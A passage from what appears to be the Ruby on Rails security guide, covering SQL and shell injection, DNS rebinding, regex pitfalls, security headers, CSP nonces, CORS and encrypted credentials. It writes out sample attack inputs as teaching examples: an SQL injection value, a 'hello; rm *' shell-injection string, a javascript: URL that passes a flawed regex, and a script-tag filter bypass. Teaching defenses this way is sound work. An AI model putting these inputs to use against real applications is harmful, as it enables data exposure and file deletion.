overwrite this default array.
Don't correct user input by removing strings that appear in a
denylist. Reject the input entirely. For example, if you disallow
<script> tags in user input, attempting to remove it could be
bypassed using the string: <sc<script>ript>.
"<sc<script>ript>".gsub("<script>", "") will result in
an intact <script> tag.
Rails provides a number of sanitizers for user input.
10.2. SQL Injection
An attacker executes a SQL injection attack by crafting a malicious input which the target application will inject into a SQL query. The input will transform the resultant query into something entirely different. This attack can be used to modify, read, or delete arbitrary data.
Consider the following Active Record query to search for a project:
@project = Project.where("name = '#{params[:name]}'")
An attacker may specify the :name parameter as ' OR 1) --.
This will result in the following SQL query:
SELECT * FROM projects WHERE (name = '' OR 1) --')
Using this technique, the attacker will be able to see all the projects in the database, completely bypassing any authorization checks.
Rails and Active Record have several countermeasures built-in to guard against such attacks. Always use the Active Record Query DSL with array or hash conditions where possible. The above query can be rewritten as:
# This syntax guards against SQL injection attacks by sanitizing the input
@project = Project.where(name: params[:name])
If you must write raw SQL statements or statement fragments, always sanitize user input and structure your query to send the arguments separately from the rest of the SQL statement.
# Using positional placeholders to pass arguments
Project.where("name = ? AND due_date >= ?", params[:name], params[:due_date])
# Using named placeholders to pass arguments
values = { name: params[:name], due_date: params[:due_date] }
Project.where("name = :name AND due_date >= :due_date", values)
Rails provides a sanitize_sql you can use to sanitize SQL
queries when using lower levels query APIs such
as ActiveRecord::Base.connection.execute
or Model.find_by_sql.
Using this sanitizer, you can safely execute queries including
user input.
The key consideration here is that unsanitized user input should never be interpolated into a SQL query. Always be mindful of the risk of injecting user input into executable code, even after sanitization.
10.3. Command Line Injection
If your application executes shell commands in the underlying operating system based on user input, ensure that the user cannot inject a malicious command. The below snippet demonstrates an attack where the input terminates the initial command and tacks on a malicious command after it.
user_input = "hello; rm *"
system("/bin/echo #{user_input}")
# prints "hello", and deletes files in the current directory
Pass the parameters to the method separately to prevent such an attack.
system("/bin/echo", "hello; rm *")
# prints "hello; rm *" and does not delete files
10.3.1. Kernel#open
Kernel#open executes an OS command if the argument starts with
a vertical bar (|).
open("| ls") { |file| file.read }
# returns file list as a String via `ls` command
The above example will raise an exception in Ruby 4.0 or newer.
Interpolating a user-supplied string into a command passed to open
could allow an attacker to run commands on your server.
Never pass user input to this method. Use a safer and more specific
method such as File.open, IO.open, or URI#open instead.
File.open("| ls") { |file| file.read }
# doesn't execute `ls` command, just opens `| ls` file if it exists
IO.open(0) { |file| file.read }
# opens stdin. doesn't accept a String as the argument
require "open-uri"
URI("https://example.com").open { |file| file.read }
# opens the URI. `URI()` doesn't accept `| ls`
Always sanitize inputs when using it in potentially dangerous operations as demonstrated above. A good rule of thumb is to assume that all data input by the user is insecure until proven otherwise.
11. DNS Rebinding Attacks
DNS rebinding is a method of manipulating resolution of domain names to subvert the same-origin policy.
Use the ActionDispatch::HostAuthorization middleware to guard
against DNS rebinding and other Host header attacks. It's enabled
by default in the development environment, you have to activate
it in production and other environments by defining a list of
allowed hosts.
# Only requests made to product.example.com will be served. If an attacker
# rebinds my-malicious-domain.example.com to your server's
# IP address, the requests will trigger the `response_app` below.
Rails.app.config.hosts << "product.example.com"
# Configure additional options for host checking
Rails.app.config.host_authorization = {
# Exclude requests for the /healthcheck/ path from host checking
exclude: ->(request) { request.path.start_with?("/healthcheck") },
# Add custom Rack application for the response
response_app: -> env do
[400, { "Content-Type" => "text/plain" }, ["Bad Request"]]
end
}
DNS rebinding attacks let a malicious website reach services on private IP addresses, such as a local development server, and send the responses back to the attacker. That’s why DNS rebinding protection should stay enabled in development.
You can read more about the ActionDispatch::HostAuthorization
middleware in the configuration guide.
12. Regular Expressions
Incorrect usage of regular expressions can expose your application to injection attacks or denial of service attacks.
12.1. Matching
Ruby handles regular expressions slightly differently than other
languages. ^ and $ match the start and end of the string
respectively in most languages — however, in Ruby, they match
the start and end of a line. \A and \z are used to match
the ends of a string in Ruby.
Consider the below regular expression as an example. It's intended to validate a URL.
/^https?:\/\/[^\n]+$/i
Since Ruby matches the start of a line with ^, and the end
with $, the below string will pass validation:
javascript:exploit_code();/*
http://hi.example.com
*/
If this user supplied URL is rendered in the UI, it can be used
as an attack vector to hide malicious code behind a link. Always
use \A and \z to match the start and end of a string:
/\Ahttps?:\/\/[^\n]+\z/i
In this particular case, a more secure validation technique is
to create a URI object:
begin
uri = URI(params[:url])
raise URI::InvalidURIError unless uri.is_a?(URI::HTTP)
rescue URI::InvalidURIError
# Handle invalid URI
end
The Active Record format validator raises an exception if the
provided regular expression uses ^ or $:
# This will raise an error when instantiating the object
validates :content, format: { with: /^Meanwhile$/ }
Set multiline: to true if you absolutely need to use these anchors:
validates :content, format: { with: /^Meanwhile$/, multiline: true }
Always ensure your regular expressions are well tested.
12.2. Timeouts
An attacker may try to abuse a regex in your application by crafting a string that is computationally expensive to validate. This could cause the system to become unresponsive as your compute resources are tied up by the attack.
Ruby 3.2 introduced a timeout setting on the Regexp class to mitigate
such attacks.
Regexp.timeout = 1.0
A Regexp::TimeoutError will be raised for matches that take longer than the defined timeout.
Rails (starting in version 8.0) automatically sets the timeout to 1.0. In older Rails versions,
or to customize the timeout, set it in an initializer:
# config/initializers/regexp.rb
Regexp.timeout = 0.5
13. Default HTTP Headers
Rails is configured by default to return a number of HTTP headers for every request:
Rails.app.config.action_dispatch.default_headers
# =>
# {"X-Frame-Options" => "SAMEORIGIN",
# "X-Content-Type-Options" => "nosniff",
# "X-Permitted-Cross-Domain-Policies" => "none",
# "Referrer-Policy" => "strict-origin-when-cross-origin"}
You can modify the default headers using this configuration option:
# config/initializers/default_headers.rb
Rails.app.config.action_dispatch.default_headers.tap do |headers|
# Change the value of a header
headers["X-Frame-Options"] = "DENY"
# Add a custom default header
headers["X-App-Version"] = "2.0"
# Remove a default header
headers.delete("Referrer-Policy")
end
13.1. X-Frame-Options
The X-Frame-Options header controls whether a browser can render
the page in a <frame>, <iframe>, <embed> or <object> tag. The
default value is SAMEORIGIN which allows framing on the same domain
only. Set it to DENY to deny framing at all, or remove this header
completely if you want to allow framing on all domains.
13.2. X-Content-Type-Options
The X-Content-Type-Options header tells the browser that the
MIME types advertised in the Content-Type header must be respected
and not guessed. The default value is nosniff.
13.3. X-Permitted-Cross-Domain-Policies
X-Permitted-Cross-Domain-Policies controls whether web clients
such as Adobe Acrobat or Microsoft Silverlight can access your page
on other domains. It's set to none by default.
13.4. Referrer-Policy
The Referrer-Policy header controls how much information is
included in the Referer header. The default value
is strict-origin-when-cross-origin.
14. Additional HTTP Security Headers
14.1. Strict-Transport-Security Header
The HTTP Strict-Transport-Security (HSTS) response header
tells the browser to upgrade the connection to HTTPS for the current
and all future requests.
Enable the force_ssl option to send this header automatically:
config.force_ssl = true
14.2. Content-Security-Policy Header
A Content-Security-Policy (CSP) header explicitly defines
the sources of external content such as images, fonts, scripts,
and styles that can be loaded onto your web page. It's designed to
protect your application from XSS attacks.
Rails provides a DSL to configure the CSP header:
# config/initializers/content_security_policy.rb
Rails.app.config.content_security_policy do |policy|
policy.default_src :self, :https
policy.font_src :self, :https, :data
policy.img_src :self, :https, :data
policy.object_src :none
policy.script_src :self, :https
policy.style_src :self, :https
# Specify URI for violation reports
policy.report_uri "/csp-violation-report-endpoint"
end
You can override the CSP for specific controllers:
class PostsController < ApplicationController
content_security_policy do |policy|
policy.upgrade_insecure_requests true
policy.base_uri "https://www.example.com"
end
end
or disable it entirely for a given controller or action:
class LegacyPagesController < ApplicationController
content_security_policy false, only: :index
end
Use lambdas to dynamically inject values — such as subdomains in a multi-tenant application:
class PostsController < ApplicationController
content_security_policy do |policy|
policy.base_uri :self, -> { "https://#{current_user.domain}.example.com" }
end
end
Rails sets the CSP in an HTTP response header. The specification also allows for it to be defined in a meta tag, but Rails does not support this technique.
14.2.1. Monitoring CSP Violations
Supply a report-uri to collect CSP violation reports from
the browser:
# config/initializers/content_security_policy.rb
Rails.app.config.content_security_policy do |policy|
# ...
policy.report_uri "/csp-violation-report-endpoint"
end
report-uri is deprecated, but still widely supported
across browsers. It's replacement is
report_to
which is not currently supported in Rails.
You'll need to implement the monitoring endpoint yourself. A reference implementation is shown below:
# config/routes.rb
post "/csp-violation-report-endpoint", to: "csp_violation_reports#create"
# app/controllers/csp_violation_reports_controller.rb
class CspViolationReportsController < ApplicationController
skip_forgery_protection
def create
parsed_body = JSON.parse(request.body.read)
violation_report = parsed_body["csp-report"] || parsed_body
# Save the violation report to the database for inspection ...
head :no_content
end
end
/csp-violation-report-endpoint is a publicly available
POST endpoint which means it can be abused. Ensure you have adequate
protections such as rate-limiting and request validation in place.
Specific techniques are out of scope for this guide. Further
information about CSP violation reports can be found in the
MDN docs.
14.2.2. Adding a CSP to Legacy Content
When migrating legacy content to be CSP compliant, you might want to report violations without enforcing the policy until the content can be upgraded.
Set the Content-Security-Policy-Report-Only response header to
only report violations:
# config/initializers/content_security_policy.rb
Rails.app.config.content_security_policy_report_only = true
# ...
Or set it for specific controllers:
class PostsController < ApplicationController
content_security_policy_report_only only: :index
end
This way, you can monitor and fix violations before enforcing the policy.
14.2.3. Adding a Nonce
When using a CSP, execution of inline <script> or <style>
tags can be enabled using :unsafe_inline, otherwise they will
not be executed.
# config/initializers/content_security_policy.rb
Rails.app.config.content_security_policy do |policy|
# This is unsafe, avoid this approach. Use a nonce instead.
policy.script_src :self, :https, :unsafe_inline
end
As the name suggests, this is unsafe and should be avoided. Using
a nonce,
<script> or <style> tags can be safely allowlisted for execution.
# config/initializers/content_security_policy.rb
Rails.app.config.content_security_policy do |policy|
# Only allow scripts from the same domain over HTTPS
policy.script_src :self, :https
end
# Create a nonce generator
Rails.app.config.content_security_policy_nonce_generator = -> request { SecureRandom.base64(16) }
SecureRandom.base64(16) will securely generate a new nonce for
each request. However, the trade-off here is that it is incompatible
with conditional GET caching
because new nonces will result in new ETag values for every request.
It is also incompatible with the Turbo JavaScript library that ships with Rails. The CSP is activated by the browser when an HTML document is loaded for the first time, and lives as long as the document. Turbo intercepts link clicks and form submissions and then uses JavaScript to perform those requests and update the page. This means that the document isn't reloaded during page navigation. The nonce defined in the CSP during the initial page load is locked in for the lifetime of the document.
An alternative option is to use the session ID as the nonce:
Rails.app.config.content_security_policy_nonce_generator = -> request { request.session.id.to_s }
This generation method is compatible with ETags and Turbo, however its security depends on the session ID being sufficiently random and not being exposed in insecure cookies.
Another caveat is that the session will not yet exist when a user visits your website for the very first time — meaning a valid nonce cannot be generated. If you require a nonce from a user's very first visit, you'll need to generate a random nonce and then store it in the session for future requests.
config.content_security_policy_nonce_generator = ->(request) {
request.session[:nonce] ||= SecureRandom.base64(16)
request.session[:nonce]
}
By default, nonces will be applied to script-src and style-src
if a nonce generator is defined.
You can explicitly specify the directives which use nonces using:
Rails.app.config.content_security_policy_nonce_directives = %w(script-src)
Once nonce generation is configured in an initializer, add the nonce to your script tags using:
<%= javascript_tag nonce: true do -%>
alert('Hello, World!');
<% end -%>
The same works with javascript_include_tag and the
stylesheet_link_tag:
<%= javascript_include_tag "script", nonce: true %>
<%= stylesheet_link_tag "style.css", nonce: true %>
Automatically add nonces to javascript_tag, javascript_include_tag,
and stylesheet_link_tag using:
Rails.app.config.content_security_policy_nonce_auto = true
If your nonce is generated per request, it may lead to cache fragmentation or stale content if your caching strategy doesn't account for dynamic nonces.
Use csp_meta_tag
to create a <meta> tag named "csp-nonce" with the per-session
nonce value for allowing inline <script> tags. It can be used
to dynamically add scripts to a page.
<head>
<%= csp_meta_tag %>
</head>
Turbo reads the nonce from the above
meta tag and applies it to every script element in the content it
loads. If an inline script without a valid nonce has been
injected into a page's content through an XSS vulnerability, it will be
blocked on a full page load, but will execute after a Turbo
navigation to the same page.
Depending on your security requirements, you may wish to disable this
functionality by excluding the csp_meta_tag directive from your document's
head.
Do not add 'strict-dynamic' to your CSP when using
Turbo. Turbo uses the createElement to insert received script
tags into the document. 'strict-dynamic' allows scripts inserted in
this way regardless of their nonce. If an attacker managed to inject
a script into your page, which is then loaded by Turbo, the
'strict-dynamic' directive in your CSP would allow it to run even
without a nonce.
14.3. Feature-Policy Header
The Feature-Policy header allows
us to enable or disable certain browser APIs for a specific origin.
This header is currently deprecated and replaced by
Permissions-Policy.
This is a new specification and isn't widely supported. For
future-proofing, Rails uses permissions_policy for this API, but
the underlying HTTP header it generates is Feature-Policy.
You can define your feature policy using a DSL:
# config/initializers/permissions_policy.rb
Rails.app.config.permissions_policy do |policy|
policy.camera :none
policy.gyroscope :none
policy.microphone :none
policy.usb :none
policy.fullscreen :self
policy.payment :self, "https://secure.example.com"
end
The policy can be overridden for specific controllers:
class PagesController < ApplicationController
permissions_policy do |policy|
policy.geolocation "https://example.com"
end
end
14.4. Cross-Origin Resource Sharing
Cross-Origin Resource Sharing (CORS) is a mechanism which allows a web page to safely access resources on a different domain.
Browsers restrict JavaScript initiated requests to other domains.
If the response doesn't contain the appropriate
Access-Control-Allow-Origin header, the response will not be
readable.
In some cases, a browser may initiate a pre-flight request to verify CORS permissions before making the specidied HTTP request. In other cases, the specified request will be initiated and fulfilled by the destination server, but the browser will block the response from being read without an appropriate CORS header.
When running Rails as an API only and your frontend app runs on a different domain, you'll need to enable CORS.
The Rack CORS gem can be used for this.
$ bundle add rack-cors
Add an initializer to configure the middleware:
# config/initializers/cors.rb
Rails.app.config.middleware.insert_before 0, Rack::Cors do
allow do
origins "example.com"
resource "*",
headers: :any,
methods: [:get, :post, :put, :patch, :delete, :options, :head]
end
end
JavaScript requests from example.com will now return readable responses.
15. Securing Application Credentials
Rails provides tools that can help store your application's secrets securely. Providing specific advice on keeping your secrets secure is out of scope for this guide as deployment environments and pipelines can vary significantly. In this section, we will discuss the Rails features for storing sensitive information such as tokens and other credentials.
15.1. Encrypted Credentials File
Rails generates an encrypted config/credentials.yml.enc file with
all new applications. Development and Test environment secrets can
be stored securely in this file and it can also be checked into source
control as it's encrypted.
The value in config/master.key is used to encrypt and decrypt the
credentials file. Never commit the master key into source control.
The master key can also be stored in an environment variable called RAILS_MASTER_KEY.
Do not use this file to store production credentials. Create a new production-specific credentials file. See the Storing Production Credentials section below for details.
The credentials file contains the application's secret_key_base
which is used to generate the keys for ActiveSupport::MessageVerifier
and ActiveSupport::MessageEncryptor. You can also store your own
secrets such as API tokens for external services.
Edit the credentials using:
$ bin/rails credentials:edit
# If the credentials file or master key doesn't exist,
# this command will create them.
The above command requires a VISUAL or EDITOR environment
variable with the command to launch a text editor. It uses this command
to open your text editor with the decrypted file. For example, you'd
launch Visual Studio Code
using: EDITOR="code --wait" bin/rails credentials:edit. Consult your
chosen text editor's documentation for further information.
View the contents of the credentials file in your terminal using:
$ bin/rails credentials:show
The secrets in the credentials file is structured in the YAML format,
and can be accessed in your application using Rails.app.credentials.
# config/credentials.yml.enc (decrypted)
secret_key_base: 3b7cd72...
some_api_key: SOMEKEY
system:
access_key_id: 1234AB
Rails.app.credentials.some_api_key
# => "SOMEKEY"
Rails.app.credentials.system.access_key_id
# => "1234AB"
Use the bang operator to raise an exception if a key doesn't exist:
Rails.app.credentials.unknown_key!
# => :unknown_key is blank (KeyError)
To do a combined lookup in your credentials file as well as the environment, use:
# ENV.fetch("SOME_API_KEY") || Rails.app.credentials.some_api_key!
Rails.app.creds.require(:some_api_key)
# ENV.fetch("SYSTEM__ACCESS_KEY_ID") || Rails.app.credentials.system.access_key_id!
Rails.app.creds.require(:system, :access_key_id)
# ENV.fetch("SOME_API_KEY") || Rails.app.credentials.some_api_key
Rails.app.creds.option(:some_api_key)
# ENV.fetch("SYSTEM__ACCESS_KEY_ID") || Rails.app.credentials.system.access_key_id
Rails.app.creds.option(:system, :access_key_id)
Run bin/rails credentials:help for further information about credentials.
15.2. Rotating the secret_key_base
You can rotate your application's secret_key_base without immediately
invalidating messages generated with the old secret. First, replace
secret_key_base with a new random value and make the old value available
separately, for example as old_secret_key_base in your credentials. Then add
the old value as a fallback before any message verifiers are created:
# config/application.rb
config.before_initialize do |app|
app.message_verifiers.rotate(
secret_key_base: app.credentials.old_secret_key_base
)
end
New messages are generated using the new secret_key_base, while application
message verifiers can still verify messages generated with the old one. This
includes framework features backed by Rails.application.message_verifiers,
such as signed IDs and Active Storage.
Do not retain an exposed secret as a fallback. If the old value may be compromised, replace it immediately and allow existing messages and cookies to become invalid.
15.3. Storing Production Credentials
Never use the same credentials file for both development and production. Create a new production-specific credentials file using:
$ bin/rails credentials:edit --environment production
This will create:
config/credentials/production.keyconfig/credentials/production.yml.enc
production.key contains the key used to encrypt and decrypt
production.yml.enc. This is your master key for the production
environment. Just like the development master key (config/master.key),
never check this into source control.
On your hosting provider or production server, set the environment
variable RAILS_MASTER_KEY to the value in production.key so
Rails can decrypt production credentials.
Rails will generate a new production-specific secret_key_base
in production.yml.enc by default. You can place other production
secrets such as external API tokens and SMTP server details in this
file.
In the production environment, the production credentials are accessed using the exact same syntax as the development secrets so you don't need to make any code changes to use the production credentials file.
Keep your master keys safe. DO NOT commit your master keys into source control.
16. Ruby Runtime Security
The security of a Rails application relies on the security of the underlying Ruby interpreter and runtime. Ensure your application is using an up-to-date version of Ruby with all security patches applied to the interpreter as well as the default and bundled gems.
16.1. GMP Support (CRuby)
Production applications should be run on a Ruby built with GMP, the GNU Multiple Precision Arithmetic Library. GMP mitigates a class of denial-of-service attack vectors related to large numerical inputs.
Ruby links GMP only when the GMP development headers are present at build time, so
a Ruby compiled from source may lack it. The official ruby Docker images, which
the Dockerfile that Rails generates is based on, include it. To check a Ruby, run:
ruby -e 'p Integer::GMP_VERSION'
The above command will raise a NameError if Ruby was built without GMP.
17. Dependency Management
The Rails team may sometimes bump dependencies to address security
issues. Use bundle update --conservative gem_name to update
vulnerable dependencies to the minimum required version. This way,
developers are not forced to upgrade to the latest version of a
depedency to pull in security fixes, and can upgrade on their own
timeline.
bundler-audit can help you
detect vulnerable dependencies and provide solutions. Download the latest advisories
and generate a report by running:
$ bundle-audit check --update
Rails also now includes the brakeman gem
by default which statically analyzes your codebase to detect vulnerabilities.
Run a brakeman scan using:
$ brakeman --ensure-latest 3
The --ensure-latest 3 option is recommended as it ensures that you use the
most recent version of brakeman that has been released for at least 3 days.
It will flag unmaintained dependencies so you can prepare a migration plan to replace them. Brakeman only detects vulnerabilities, it will not fix them automatically.
If you're using the importmap-rails gem
to manage JavaScript, regularly audit your dependencies using:
$ bin/importmap audit
This will check the NPM registry for known security issues in your dependencies.
18. Additional Resources
- Mozilla's Web Security Guidelines - Recommendations on topics covering Content Security Policy, HTTP headers, Cookies, TLS configuration, etc.
- A good set of security resources, notably the Cheat Sheet Series, with for example the Cross-Site Scripting Cheat Sheet.